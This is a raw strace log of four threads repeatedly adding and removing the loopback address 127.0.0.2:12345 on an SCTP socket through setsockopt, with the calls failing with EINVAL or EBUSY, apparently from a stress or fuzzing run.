[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
